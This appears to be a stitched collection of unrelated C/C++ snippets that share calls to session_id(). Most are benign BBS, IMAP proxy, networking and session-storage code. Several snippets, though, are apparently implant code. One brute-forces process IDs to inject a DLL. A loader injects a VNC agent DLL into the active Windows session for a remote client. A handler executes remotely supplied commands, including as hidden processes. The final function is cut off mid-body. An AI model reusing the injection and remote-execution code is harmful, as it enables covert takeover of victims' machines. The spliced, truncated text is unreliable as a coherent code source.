static bool _get_session(const char *uname, const char *key) { user_id_t uid = get_user_id(uname); if (uid > 0) { session_id_t sid = session_get_web_cache(uid, key, fromhost); if (sid > 0) { session_set_id(sid); session_set_uid(uid); return true; } db_res_t *res = db_query("SELECT id, active FROM sessions" " WHERE user_id = %"DBIdUID" AND session_key = %s AND web", uid, key); if (res && db_res_rows(res) == 1) { sid = db_get_session_id(res, 0, 0); bool active = db_get_bool(res, 0, 1); if (active || activate_session(sid, uname)) { session_set_id(sid); session_set_uid(uid); session_set_web_cache(uid, key, session_id(), fromhost); } } db_clear(res); } return session_id(); }
/// 连接回调 void tcp_connector::async_connect_handler( boost::system::error_code const& ec , socket_ptr pSock, FactoryFunc fact_func, ConnectHandler const& handler , options_ptr opts, tcp::resolver::iterator resolver_it ) { tcp_session_ptr ptr; boost::system::error_code remote_ec, local_ec; if (!ec && pSock->remote_endpoint(remote_ec) != pSock->local_endpoint(local_ec) && !remote_ec && !local_ec) ptr = fact_func(pSock, session_initialized(session_id(), group_id(), opts)); else if (tcp::resolver::iterator() != resolver_it) { boost::system::error_code close_ec; pSock->close(close_ec); if (close_ec) pSock.reset(new socket(m_ios)); tcp::endpoint endpoint = *resolver_it++; pSock->async_connect(endpoint , boost::bind(&tcp_connector::async_connect_handler, this, placeholders::error , pSock, fact_func, handler, opts, resolver_it )); return ; } handler(ptr, ec); }
/* * On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available. */ DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer ) { DWORD dwResult = ERROR_INVALID_HANDLE; DWORD pid = 0; do { for( pid=0 ; pid<0xFFFF ; pid++ ) { HANDLE hProcess = NULL; hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid ); if( !hProcess ) continue; CloseHandle( hProcess ); if( dwSessionId == session_id( pid ) ) { dwResult = ps_inject( pid, pDllBuffer ); if( dwResult == ERROR_SUCCESS ) { dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid ); break; } } } } while( 0 ); return dwResult; }
/* * Salva la sesion en la base de datos * */ int session_save( Session* s ){ if( s->id[0] == 0 ){ session_generar_id( s->id ); } struct timeval tv; gettimeofday( &tv, NULL ); if( !s->created_at ) s->created_at = tv.tv_sec; s->last_seen_at = tv.tv_sec; void* data; int size = session_to_bin( s, &data ); if( size ){ if( !dbput_data( DBSESSION, s->id, 32, data, size ) ){ LOGPRINT( 1, "Error salvando session %s", dbget_lasterror() ); free( data ); return 0; } } else { LOGPRINT( 1, "Error fatal al pasar a binario sesion", 0 ); return 0; } LOGPRINT( 5, "Sesion %s salvada", session_id( s ) ); free( data ); return 1; }
int web_fav(void) { if (!session_id()) return BBS_ELGNREQ; xml_header(NULL); printf("<bbsfav>"); print_session(); db_res_t *res = db_query("SELECT b.id, b.name, b.descr FROM boards b" " JOIN fav_boards f ON b.id = f.board WHERE f.user_id = %d", session_uid()); if (res) { for (int i = 0; i < db_res_rows(res); ++i) { int bid = db_get_integer(res, i, 0); const char *name = db_get_value(res, i, 1); GBK_BUFFER(descr, BOARD_DESCR_CCHARS); convert_u2g(db_get_value(res, i, 2), gbk_descr); printf("<brd bid='%d' brd='%s'>", bid, name); xml_fputs(gbk_descr); printf("</brd>"); } } db_clear(res); printf("</bbsfav>"); return 0; }
tcp_session_ptr tcp_connector::connect( FactoryFunc fact_func, int port, std::string const& hostname, boost::system::error_code & ec, options_ptr opts) { address addr = address::from_string(hostname, ec); if (ec) { // hostname不是IP地址, 尝试当作域名解析 ec.clear(); tcp::resolver::query query(hostname, lexical_cast_def<std::string>(port)); tcp::resolver rsl(m_ios); tcp::resolver::iterator resolver_it = rsl.resolve(query, ec); if (ec) return tcp_session_ptr(); ec = error::host_not_found; socket_ptr pSock(new socket(m_ios)); while (ec && tcp::resolver::iterator() != resolver_it) { tcp::endpoint endpoint = *resolver_it++; std::cout << endpoint << std::endl; boost::system::error_code close_ec; pSock->close(close_ec); if (close_ec) pSock.reset(new socket(m_ios)); pSock->connect(endpoint, ec); } boost::system::error_code remote_ec, local_ec; if (!ec && pSock->remote_endpoint(remote_ec) != pSock->local_endpoint(local_ec) && !remote_ec && !local_ec) return fact_func(pSock, session_initialized(session_id(), group_id(), opts)); else return tcp_session_ptr(); } // hostname是IP地址 tcp::endpoint endpoint(addr, port); socket_ptr pSock(new socket(m_ios)); pSock->connect(endpoint, ec); boost::system::error_code remote_ec, local_ec; if (!ec && pSock->remote_endpoint(remote_ec) != pSock->local_endpoint(local_ec) && !remote_ec && !local_ec) return fact_func(pSock, session_initialized(session_id(), group_id(), opts)); else return tcp_session_ptr(); }
static int execute(const web_handler_t *h) { if (!session_id() && require_login(h)) { if (web_request_type(API)) return WEB_ERROR_LOGIN_REQUIRED; return BBS_ELGNREQ; } return h->func(); }
EXPORTED void duplicate_log(const duplicate_key_t *dkey, const char *action) { assert(dkey->date != NULL); syslog(LOG_INFO, "dupelim: eliminated duplicate message to %s id %s date %s (%s)", dkey->to, dkey->id, dkey->date, action); if (config_auditlog) syslog(LOG_NOTICE, "auditlog: duplicate sessionid=<%s> action=<%s> message-id=%s user=<%s> date=<%s>", session_id(), action, dkey->id, dkey->to, dkey->date); }
Session::Session( boost::asio::io_service & io_svc, framework::string::Url const & url) : id_(session_id()) , io_svc_(io_svc) , url_(url) , resp_(boost::bind(&Session::response_sub_open, this, _1)) , current_(NULL) , playing_(false) { }
int session_del( Session* s ){ if( s->id[0] == 0 ){ LOGPRINT( 2, "Sesion que intenta borrar no tiene id %p", s ); return 0; } if( !dbdel_data( DBSESSION, s->id, 32 ) ){ LOGPRINT( 1, "Error borrando session %s %s", session_id(s), dbget_lasterror() ); return 0; } return 1; }
Session::Session( boost::asio::io_service & io_svc, framework::string::Url const & url, response_t const & resp) : id_(session_id()) , io_svc_(io_svc) , url_(url) , resp_(resp) , current_(this) , playing_(false) { }
static void system_abort(void) { if (session_id()) { log_usies("ABORT", "", ¤tuser); u_exit(); } screen_clear(); screen_flush(); //% prints("谢谢光临, 记得常来喔 !\n"); prints("\xd0\xbb\xd0\xbb\xb9\xe2\xc1\xd9, \xbc\xc7\xb5\xc3\xb3\xa3\xc0\xb4\xe0\xb8 !\n"); exit(0); }
/** * The main entrance of bbswebd. * @return 0 on success, 1 on initialization error. */ int main(void) { fb_signal(SIGTERM, exit_handler); fb_signal(SIGUSR1, exit_handler); if (initialize() < 0) return EXIT_FAILURE; initialize_environment(INIT_CONV | INIT_DB | INIT_MDB); while (FCGI_Accept() >= 0) { if (!web_ctx_init()) return EXIT_FAILURE; const web_handler_t *h = _get_handler(); int code = BBS_ENOURL; if (h) { get_client_ip(); session_validate(); brc_reset(); if (session_id()) { set_user_status(h->status); session_set_idle(session_id(), fb_time()); if (h->status != ST_READING) session_set_board(0); } code = execute(h); } if (code > 0) web_respond(code); else check_bbserr(code); web_ctx_destroy(); } return 0; }
wxString BoxClass::TowxString() const { wxString routeString; for (routeListType::const_iterator r = routes.begin(); r != routes.end(); r++) routeString += wxString::Format(_T(" %d:(%d->%d->%d)"), (*r)->get_routefile_id(), (*r)->GetDeviceId(InputDevice()), (*r)->GetBoxId(), (*r)->GetDeviceId(OutputDevice())); return wxString::Format(_T("\nBox:\n\ session_id = %lu\n\ routefile_id = %d\n\ routes: %s\n"), (unsigned long)session_id(), routefile_id,routeString.c_str()); }
void getUnreadMsgCounter(CImPdu* pPdu, uint32_t conn_uuid) { IM::Message::IMUnreadMsgCntReq msg; IM::Message::IMUnreadMsgCntRsp msgResp; if(msg.ParseFromArray(pPdu->GetBodyData(), pPdu->GetBodyLength())) { CImPdu* pPduResp = new CImPdu; uint32_t nUserId = msg.user_id(); list<IM::BaseDefine::UnreadInfo> lsUnreadCount; uint32_t nTotalCnt = 0; CMessageModel::getInstance()->getUnreadMsgCount(nUserId, nTotalCnt, lsUnreadCount); CGroupMessageModel::getInstance()->getUnreadMsgCount(nUserId, nTotalCnt, lsUnreadCount); msgResp.set_user_id(nUserId); msgResp.set_total_cnt(nTotalCnt); for(auto it= lsUnreadCount.begin(); it!=lsUnreadCount.end(); ++it) { IM::BaseDefine::UnreadInfo* pInfo = msgResp.add_unreadinfo_list(); // *pInfo = *it; pInfo->set_session_id(it->session_id()); pInfo->set_session_type(it->session_type()); pInfo->set_unread_cnt(it->unread_cnt()); pInfo->set_latest_msg_id(it->latest_msg_id()); pInfo->set_latest_msg_data(it->latest_msg_data()); pInfo->set_latest_msg_type(it->latest_msg_type()); pInfo->set_latest_msg_from_user_id(it->latest_msg_from_user_id()); } log("userId=%d, unreadCnt=%u, totalCount=%u", nUserId, msgResp.unreadinfo_list_size(), nTotalCnt); msgResp.set_attach_data(msg.attach_data()); pPduResp->SetPBMsg(&msgResp); pPduResp->SetSeqNum(pPdu->GetSeqNum()); pPduResp->SetServiceId(IM::BaseDefine::SID_MSG); pPduResp->SetCommandId(IM::BaseDefine::CID_MSG_UNREAD_CNT_RESPONSE); CProxyConn::AddResponsePdu(conn_uuid, pPduResp); } else { log("parse pb failed"); } }
int web_props(void) { if (!session_id()) return BBS_ELGNREQ; prop_list_t *p = prop_list_load(); if (!p) return BBS_EINTNL; xml_header(NULL); printf("<bbsprop>"); print_session(); for (int i = 0; i < prop_list_num_rows(p); ++i) { show_prop(p, i); } printf("</bbsprop>"); prop_list_free(p); return 0; }
void abort_bbs(int nothing) { extern int child_pid; if (child_pid) { kill(child_pid, SIGKILL); } editor_dump(); if (session_id()) { time_t stay; stay = time(0) - login_start_time; snprintf(genbuf, sizeof(genbuf), "Stay: %3ld", stay / 60); log_usies("AXXED", genbuf, ¤tuser); u_exit(); } exit(0); }
// Save user info on exit. void u_exit(void) { // 这些信号的处理要关掉, 否则在离线时等候回车时出现 // 信号会导致重写名单, 这个导致的名单混乱比kick user更多 (ylsdd) fb_signal(SIGALRM, SIG_DFL); fb_signal(SIGPIPE, SIG_DFL); fb_signal(SIGTERM, SIG_DFL); fb_signal(SIGUSR1, SIG_IGN); fb_signal(SIGUSR2, SIG_IGN); if (HAS_PERM(PERM_LOGINCLOAK)) setflags(CLOAK_FLAG, !session_visible()); set_safe_record(); update_user_stay(¤tuser, false, false); substitut_record(PASSFILE, ¤tuser, sizeof(currentuser), usernum); uidshm->status[usernum - 1]--; session_destroy(session_id()); session_set_pid(0); }
int web_brdadd(void) { if (!session_id()) return BBS_ELGNREQ; int bid = strtol(web_get_param("bid"), NULL, 10); int ok = fav_board_add(session_uid(), NULL, bid, FAV_BOARD_ROOT_FOLDER, ¤tuser); if (ok) { xml_header(NULL); printf("<bbsbrdadd>"); print_session(); board_t board; get_board_by_bid(bid, &board); printf("<brd>%s</brd><bid>%d</bid></bbsbrdadd>", board.name, board.id); session_set_board(board.id); return 0; } return BBS_EBRDQE; }
int pipe_rtcp_outgoing(packet_pipe_t * pipe, xrtp_rtcp_compound_t * rtcp){ xrtp_session_t * ses = rtcp->session; xrtp_buffer_t * buf= rtcp_buffer(rtcp); char * data = buffer_data(buf); uint datalen = buffer_datalen(buf); session_connect_t * conn = NULL; int i; pipe_log(("pipe_rtcp_outgoing: pump out the rtcp directly\n")); for(i=0; i<ses->n_rtcp_out; i++){ conn = ses->outgoing_rtcp[i]; pipe_log(("pipe_rtcp_outgoing: sent to outgoing connect %d of %d\n", i, ses->n_rtcp_out)); connect_send(conn, data, datalen); } if(ses->join_to_rtcp_port){ pipe_log(("pipe_rtcp_outgoing: Session[%d] has a join desire[%u] pending\n", session_id(ses), (int)(ses->join_to_rtcp_port))); conn = connect_new(ses->rtcp_port, ses->join_to_rtcp_port); if(conn){ pipe_log(("pipe_rtcp_outgoing: send to joining connect\n")); connect_send(conn, data, datalen); connect_done(conn); }else{ pipe_log(("pipe_rtcp_outgoing: Fail to conect\n")); } } pipe_log(("pipe_rtcp_outgoing: sent to %d members\n", ses->n_rtcp_out)); return XRTP_OK; }
/* { groups: [ { name: OPTIONAL TEXT, descr: OPTIONAL TEXT, boards: [ { id: INTEGER, name: TEXT, unread: OPTIONAL BOOLEAN }, ... ] }, ... ] } */ int api_board_fav(void) { if (!session_id()) return WEB_ERROR_LOGIN_REQUIRED; xml_node_t *root = set_response_root("bbs-board-fav", XML_NODE_ANONYMOUS_JSON, XML_ENCODING_UTF8); xml_node_t *groups = xml_new_node("groups", XML_NODE_CHILD_ARRAY); xml_add_child(root, groups); query_t *q = query_new(0); query_select(q, "board, name, folder"); query_from(q, "fav_boards"); query_where(q, "user_id = %"DBIdUID, session_uid()); db_res_t *boards = query_exec(q); q = query_new(0); query_select(q, "id, name, descr"); query_from(q, "fav_board_folders"); query_where(q, "user_id = %"DBIdUID, session_uid()); db_res_t *folders = query_exec(q); if (folders && boards) { attach_group(groups, boards, FAV_BOARD_ROOT_FOLDER); for (int i = db_res_rows(folders) - 1; i >= 0; --i) { int id = db_get_integer(folders, i, 0); xml_node_t *group = attach_group(groups, boards, id); xml_attr_string(group, "name", db_get_value(folders, i, 1), true); xml_attr_string(group, "descr", db_get_value(folders, i, 2), true); } } db_clear(folders); db_clear(boards); return WEB_OK; }
int web_my_props(void) { if (!session_id()) return BBS_ELGNREQ; int record = strtol(web_get_param("record"), NULL, 10); int item = strtol(web_get_param("item"), NULL, 10); if (record <= 0 || item <= 0) { my_props_t *p = my_props_load(session_uid()); if (!p) return BBS_EINTNL; xml_header(NULL); printf("<bbsmyprop>"); print_session(); for (int i = 0; i < my_props_count(p); ++i) { show_my_prop(p, i); } printf("</bbsmyprop>"); my_props_free(p); } else { switch (item) { case PROP_TITLE_FREE: case PROP_TITLE_30DAYS: case PROP_TITLE_90DAYS: case PROP_TITLE_180DAYS: case PROP_TITLE_1YEAR: return show_title_detail(record); default: return BBS_EINVAL; } } return 0; }
/* * Entry Point. */ DWORD Init( SOCKET s ) { DWORD dwResult = ERROR_SUCCESS; BOOL bTerminate = FALSE; HANDLE hMessageThread = NULL; DLL_BUFFER VncDllBuffer = {0}; char cCommandLine[MAX_PATH] = {0}; DWORD dwHostSessionId = 0; DWORD dwActiveSessionId = 0; DWORD dwAgentSessionId = 0xFFFFFFFF; BYTE bFlags = 0; __try { do { // We maintain state for the rfb stream so as not to desynchronize the remote // client after session switching and the injection of multiple agents server side. context_init(); sock = s; if( sock == INVALID_SOCKET ) BREAK_WITH_ERROR( "[LOADER] Init. INVALID_SOCKET", ERROR_INVALID_PARAMETER ); if( recv( sock, (char *)&bFlags, 1, 0 ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. recv bFlags failed" ); if( bFlags & VNCFLAG_DISABLECOURTESYSHELL ) AgentContext.bDisableCourtesyShell = TRUE; if( bFlags & VNCFLAG_DISABLESESSIONTRACKING ) bDisableSessionTracking = TRUE; dprintf( "[LOADER] Init. Starting, hAppInstance=0x%08X, sock=%d, bFlags=%d", hAppInstance, sock, bFlags ); // get the vnc dll we will inject into the active session if( loader_vncdll( &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_ON_ERROR( "[LOADER] Init. loader_vncdll failed" ); // create a socket event and have it signaled on FD_CLOSE hSocketCloseEvent = WSACreateEvent(); if( hSocketCloseEvent == WSA_INVALID_EVENT ) BREAK_ON_WSAERROR( "[LOADER] Init. WSACreateEvent failed" ); if( WSAEventSelect( sock, hSocketCloseEvent, FD_CLOSE ) == SOCKET_ERROR ) BREAK_ON_WSAERROR( "[LOADER] Init. WSAEventSelect failed" ); // get the session id that our host process belongs to dwHostSessionId = session_id( GetCurrentProcessId() ); hMessageThread = CreateThread( NULL, 0, context_message_thread, NULL, 0, NULL ); if( !hMessageThread ) BREAK_ON_ERROR( "[LOADER] Init. CreateThread context_message_thread failed" ); // loop untill the remote client closes the connection, creating a vnc // server agent inside the active session upon the active session changing while( !bTerminate ) { // in case we have been waiting for a session to attach to the physical // console and the remote client has quit, we detect this here... if( WaitForSingleObject( hSocketCloseEvent, 0 ) == WAIT_OBJECT_0 ) { dprintf( "[LOADER] Init. Remote socket closed, terminating1..." ); break; } // get the session id for the interactive session dwActiveSessionId = session_activeid(); // test if there is no session currently attached to the physical console... if( dwActiveSessionId == 0xFFFFFFFF ) { dprintf( "[LOADER] Init. no session currently attached to the physical console..." ); // just try to wait it out... Sleep( 250 ); continue; } else if( dwActiveSessionId == dwAgentSessionId ) { dprintf( "[LOADER] Init. dwActiveSessionId == dwAgentSessionId..." ); // just try to wait it out... Sleep( 250 ); continue; } // do the local process or session injection if( dwHostSessionId != dwActiveSessionId ) { dprintf( "[LOADER] Init. Injecting into active session %d...", dwActiveSessionId ); if( session_inject( dwActiveSessionId, &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. session_inject failed", ERROR_ACCESS_DENIED ); } else { dprintf( "[LOADER] Init. Allready in the active session %d.", dwActiveSessionId ); if( ps_inject( GetCurrentProcessId(), &VncDllBuffer ) != ERROR_SUCCESS ) BREAK_WITH_ERROR( "[LOADER] Init. ps_inject current process failed", ERROR_ACCESS_DENIED ); } dwAgentSessionId = dwActiveSessionId; // loop, waiting for either the agents process to die, the remote socket to die or // the active session to change... while( TRUE ) { HANDLE hEvents[2] = {0}; DWORD dwWaitResult = 0; // wait for these event to be signaled or a timeout to occur... hEvents[0] = hSocketCloseEvent; hEvents[1] = hAgentProcess; dwWaitResult = WaitForMultipleObjects( 2, (HANDLE *)&hEvents, FALSE, 250 ); // bail if we have somehow failed (e.g. invalid handle) if( dwWaitResult == WAIT_FAILED ) { dprintf( "[LOADER] Init. WaitForMultipleObjects failed." ); // if we cant synchronize we bail out... bTerminate = TRUE; break; } // if we have just timedout, test the current active session... else if( dwWaitResult == WAIT_TIMEOUT ) { // if the agent is still in the active session just continue... if( dwAgentSessionId == session_activeid() ) continue; // if we are not to perform session tracking try and stay in the current session (as it might become the active input session at a later stage) if( bDisableSessionTracking ) { dprintf( "[LOADER] Init. Active session has changed, trying to stay in current session as session tracking disabled..." ); Sleep( 500 ); continue; } // if the agent is no longer in the active session we signal the agent to terminate if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 1 hAgentCloseEvent failed. error=%d", GetLastError() ); dprintf( "[LOADER] Init. Active session has changed. Moving agent into new session..." ); dwAgentSessionId = 0xFFFFFFFF; // and we go inject a new agent into the new active session (or terminate if session tracking disabled) loader_agent_close(); break; } // sanity check the result for an abandoned mutex else if( (dwWaitResult >= WAIT_ABANDONED_0) && (dwWaitResult <= (WAIT_ABANDONED_0 + 1)) ) { dprintf( "[LOADER] Init. WAIT_ABANDONED_0 for %d", dwWaitResult - WAIT_ABANDONED_0 ); bTerminate = TRUE; break; } else { // otherwise if we have an event signaled, handle it switch( dwWaitResult - WAIT_OBJECT_0 ) { case 0: dprintf( "[LOADER] Init. Remote socket closed, terminating2..." ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 2 hAgentCloseEvent failed. error=%d", GetLastError() ); ReleaseMutex( hAgentCloseEvent ); break; case 1: dprintf( "[LOADER] Init. Injected agent's process has terminated..." ); loader_agent_close(); dwAgentSessionId = 0xFFFFFFFF; break; default: dprintf( "[LOADER] Init. WaitForMultipleObjects returned dwWaitResult=0x%08X", dwWaitResult ); bTerminate = TRUE; if( !ReleaseMutex( hAgentCloseEvent ) ) dprintf( "[LOADER] Init. ReleaseMutex 3 hAgentCloseEvent failed. error=%d", GetLastError() ); break; } } // get out of this loop... break; } } } while( 0 ); CLOSE_HANDLE( hSocketCloseEvent ); loader_agent_close(); closesocket( sock ); if( hMessageThread ) TerminateThread( hMessageThread, 0 ); } __except( EXCEPTION_EXECUTE_HANDLER ) { dprintf( "[LOADER] Init. EXCEPTION_EXECUTE_HANDLER\n\n" ); } dprintf( "[LOADER] Init. Finished." ); return dwResult; }
struct backend *backend_connect(struct backend *ret_backend, const char *server, struct protocol_t *prot, const char *userid, sasl_callback_t *cb, const char **auth_status) { /* need to (re)establish connection to server or create one */ int sock = -1; int r; int err = -1; int ask = 1; /* should we explicitly ask for capabilities? */ struct addrinfo hints, *res0 = NULL, *res; struct sockaddr_un sunsock; char buf[2048]; struct sigaction action; struct backend *ret; char rsessionid[MAX_SESSIONID_SIZE]; if (!ret_backend) { ret = xzmalloc(sizeof(struct backend)); strlcpy(ret->hostname, server, sizeof(ret->hostname)); ret->timeout = NULL; } else ret = ret_backend; if (server[0] == '/') { /* unix socket */ res0 = &hints; memset(res0, 0, sizeof(struct addrinfo)); res0->ai_family = PF_UNIX; res0->ai_socktype = SOCK_STREAM; res0->ai_addr = (struct sockaddr *) &sunsock; res0->ai_addrlen = sizeof(sunsock.sun_family) + strlen(server) + 1; #ifdef SIN6_LEN res0->ai_addrlen += sizeof(sunsock.sun_len); sunsock.sun_len = res0->ai_addrlen; #endif sunsock.sun_family = AF_UNIX; strlcpy(sunsock.sun_path, server, sizeof(sunsock.sun_path)); /* XXX set that we are preauthed */ /* change hostname to 'config_servername' */ strlcpy(ret->hostname, config_servername, sizeof(ret->hostname)); } else { /* inet socket */ memset(&hints, 0, sizeof(hints)); hints.ai_family = PF_UNSPEC; hints.ai_socktype = SOCK_STREAM; err = getaddrinfo(server, prot->service, &hints, &res0); if (err) { syslog(LOG_ERR, "getaddrinfo(%s) failed: %s", server, gai_strerror(err)); goto error; } } /* Setup timeout */ timedout = 0; action.sa_flags = 0; action.sa_handler = timed_out; sigemptyset(&action.sa_mask); if(sigaction(SIGALRM, &action, NULL) < 0) { syslog(LOG_ERR, "Setting timeout in backend_connect failed: sigaction: %m"); /* continue anyway */ } for (res = res0; res; res = res->ai_next) { sock = socket(res->ai_family, res->ai_socktype, res->ai_protocol); if (sock < 0) continue; alarm(config_getint(IMAPOPT_CLIENT_TIMEOUT)); if (connect(sock, res->ai_addr, res->ai_addrlen) >= 0) break; if(errno == EINTR && timedout == 1) errno = ETIMEDOUT; close(sock); sock = -1; } /* Remove timeout code */ alarm(0); signal(SIGALRM, SIG_IGN); if (sock < 0) { if (res0 != &hints) freeaddrinfo(res0); syslog(LOG_ERR, "connect(%s) failed: %m", server); goto error; } memcpy(&ret->addr, res->ai_addr, res->ai_addrlen); if (res0 != &hints) freeaddrinfo(res0); ret->in = prot_new(sock, 0); ret->out = prot_new(sock, 1); ret->sock = sock; prot_setflushonread(ret->in, ret->out); ret->prot = prot; /* use literal+ to send literals */ prot_setisclient(ret->in, 1); prot_setisclient(ret->out, 1); if (prot->banner.auto_capa) { /* try to get the capabilities from the banner */ r = ask_capability(ret, /*dobanner*/1, AUTO_CAPA_BANNER); if (r) { /* found capabilities in banner -> don't ask */ ask = 0; } } else { do { /* read the initial greeting */ if (!prot_fgets(buf, sizeof(buf), ret->in)) { syslog(LOG_ERR, "backend_connect(): couldn't read initial greeting: %s", ret->in->error ? ret->in->error : "(null)"); goto error; } } while (strncasecmp(buf, prot->banner.resp, strlen(prot->banner.resp))); strncpy(ret->banner, buf, 2048); } if (ask) { /* get the capabilities */ ask_capability(ret, /*dobanner*/0, AUTO_CAPA_NO); } /* now need to authenticate to backend server, unless we're doing LMTP/CSYNC on a UNIX socket (deliver/sync_client) */ if ((server[0] != '/') || (strcmp(prot->sasl_service, "lmtp") && strcmp(prot->sasl_service, "csync"))) { char *old_mechlist = backend_get_cap_params(ret, CAPA_AUTH); const char *my_status; if ((r = backend_authenticate(ret, userid, cb, &my_status))) { syslog(LOG_ERR, "couldn't authenticate to backend server: %s", sasl_errstring(r, NULL, NULL)); free(old_mechlist); goto error; } else { const void *ssf; sasl_getprop(ret->saslconn, SASL_SSF, &ssf); if (*((sasl_ssf_t *) ssf)) { /* if we have a SASL security layer, compare SASL mech lists before/after AUTH to check for a MITM attack */ char *new_mechlist; int auto_capa = (prot->sasl_cmd.auto_capa == AUTO_CAPA_AUTH_SSF); if (!strcmp(prot->service, "sieve")) { /* XXX Hack to handle ManageSieve servers. * No way to tell from protocol if server will * automatically send capabilities, so we treat it * as optional. */ char ch; /* wait and probe for possible auto-capability response */ usleep(250000); prot_NONBLOCK(ret->in); if ((ch = prot_getc(ret->in)) != EOF) { prot_ungetc(ch, ret->in); } else { auto_capa = AUTO_CAPA_AUTH_NO; } prot_BLOCK(ret->in); } ask_capability(ret, /*dobanner*/0, auto_capa); new_mechlist = backend_get_cap_params(ret, CAPA_AUTH); if (new_mechlist && old_mechlist && strcmp(new_mechlist, old_mechlist)) { syslog(LOG_ERR, "possible MITM attack:" "list of available SASL mechanisms changed"); free(new_mechlist); free(old_mechlist); goto error; } free(new_mechlist); } else if (prot->sasl_cmd.auto_capa == AUTO_CAPA_AUTH_OK) { /* try to get the capabilities from the AUTH success response */ forget_capabilities(ret); parse_capability(ret, my_status); post_parse_capability(ret); } if (!(strcmp(prot->service, "imap") && (strcmp(prot->service, "pop3")))) { parse_sessionid(my_status, rsessionid); syslog(LOG_NOTICE, "proxy %s sessionid=<%s> remote=<%s>", userid, session_id(), rsessionid); } } if (auth_status) *auth_status = my_status; free(old_mechlist); } /* start compression if requested and both client/server support it */ if (config_getswitch(IMAPOPT_PROXY_COMPRESS) && ret && CAPA(ret, CAPA_COMPRESS) && prot->compress_cmd.cmd && do_compress(ret, &prot->compress_cmd)) { syslog(LOG_ERR, "couldn't enable compression on backend server"); goto error; } return ret; error: forget_capabilities(ret); if (ret->in) { prot_free(ret->in); ret->in = NULL; } if (ret->out) { prot_free(ret->out); ret->out = NULL; } if (sock >= 0) close(sock); if (ret->saslconn) { sasl_dispose(&ret->saslconn); ret->saslconn = NULL; } if (!ret_backend) free(ret); return NULL; }
/* * Executes a process using the supplied parameters, optionally creating a * channel through which output is filtered. * * req: TLV_TYPE_PROCESS_PATH - The executable to launch * req: TLV_TYPE_PROCESS_ARGUMENTS - The arguments to pass * req: TLV_TYPE_FLAGS - The flags to execute with */ DWORD request_sys_process_execute(Remote *remote, Packet *packet) { Packet *response = packet_create_response(packet); DWORD result = ERROR_SUCCESS; Tlv inMemoryData; BOOL doInMemory = FALSE; #ifdef _WIN32 PROCESS_INFORMATION pi; STARTUPINFO si; HANDLE in[2], out[2]; PCHAR path, arguments, commandLine = NULL; DWORD flags = 0, createFlags = 0; BOOL inherit = FALSE; HANDLE token, pToken; char * cpDesktop = NULL; DWORD session = 0; LPVOID pEnvironment = NULL; LPFNCREATEENVIRONMENTBLOCK lpfnCreateEnvironmentBlock = NULL; LPFNDESTROYENVIRONMENTBLOCK lpfnDestroyEnvironmentBlock = NULL; HMODULE hUserEnvLib = NULL; dprintf( "[PROCESS] request_sys_process_execute" ); // Initialize the startup information memset( &pi, 0, sizeof(PROCESS_INFORMATION) ); memset( &si, 0, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); // Initialize pipe handles in[0] = NULL; in[1] = NULL; out[0] = NULL; out[1] = NULL; do { // No response? We suck. if (!response) break; // Get the execution arguments arguments = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_ARGUMENTS); path = packet_get_tlv_value_string(packet, TLV_TYPE_PROCESS_PATH); flags = packet_get_tlv_value_uint(packet, TLV_TYPE_PROCESS_FLAGS); if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA, &inMemoryData) == ERROR_SUCCESS) { doInMemory = TRUE; createFlags |= CREATE_SUSPENDED; } if( flags & PROCESS_EXECUTE_FLAG_DESKTOP ) { do { cpDesktop = (char *)malloc( 512 ); if( !cpDesktop ) break; memset( cpDesktop, 0, 512 ); lock_acquire( remote->lock ); _snprintf( cpDesktop, 512, "%s\\%s", remote->cpCurrentStationName, remote->cpCurrentDesktopName ); lock_release( remote->lock ); si.lpDesktop = cpDesktop; } while( 0 ); } // If the remote endpoint provided arguments, combine them with the // executable to produce a command line if (path && arguments) { DWORD commandLineLength = strlen(path) + strlen(arguments) + 2; if (!(commandLine = (PCHAR)malloc(commandLineLength))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } _snprintf(commandLine, commandLineLength, "%s %s", path, arguments); } else if (path) commandLine = path; else { result = ERROR_INVALID_PARAMETER; break; } // If the channelized flag is set, create a pipe for stdin/stdout/stderr // such that input can be directed to and from the remote endpoint if (flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { SECURITY_ATTRIBUTES sa = { sizeof(SECURITY_ATTRIBUTES), NULL, TRUE }; ProcessChannelContext * ctx = NULL; PoolChannelOps chops; Channel *newChannel; // Allocate the channel context if (!(ctx = (ProcessChannelContext *)malloc(sizeof(ProcessChannelContext)))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } memset(&chops, 0, sizeof(PoolChannelOps)); // Initialize the channel operations chops.native.context = ctx; chops.native.write = process_channel_write; chops.native.close = process_channel_close; chops.native.interact = process_channel_interact; chops.read = process_channel_read; // Allocate the pool channel if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS, &chops))) { result = ERROR_NOT_ENOUGH_MEMORY; break; } // Set the channel's type to process channel_set_type(newChannel, "process"); // Allocate the stdin and stdout pipes if ((!CreatePipe(&in[0], &in[1], &sa, 0)) || (!CreatePipe(&out[0], &out[1], &sa, 0))) { channel_destroy(newChannel, NULL); newChannel = NULL; free(ctx); result = GetLastError(); break; } // Initialize the startup info to use the pipe handles si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = in[0]; si.hStdOutput = out[1]; si.hStdError = out[1]; inherit = TRUE; createFlags |= CREATE_NEW_CONSOLE; // Set the context to have the write side of stdin and the read side // of stdout ctx->pStdin = in[1]; ctx->pStdout = out[0]; // Add the channel identifier to the response packet packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID,channel_get_id(newChannel)); } // If the hidden flag is set, create the process hidden if (flags & PROCESS_EXECUTE_FLAG_HIDDEN) { si.dwFlags |= STARTF_USESHOWWINDOW; 